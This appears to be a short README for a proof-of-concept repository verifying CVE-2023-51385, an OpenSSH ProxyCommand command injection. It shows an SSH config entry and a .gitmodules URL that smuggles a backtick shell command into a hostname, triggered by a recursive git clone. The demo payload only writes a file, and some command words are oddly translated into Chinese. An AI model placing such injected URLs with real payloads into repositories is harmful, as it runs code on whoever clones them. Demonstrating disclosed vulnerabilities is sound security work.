CVE-2023-51385_test

##Verify CVE-2023-51385

First, add the following to ~/.ssh/config

主机 *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Command injection exists in the .gitmodules file statement

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

After configuration is complete, execute the following command to trigger:

git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules

If executed successfully, a cve.txt file will be generated in the CVE-2023-51385_test directory.

![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )

For details, see the blog post:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html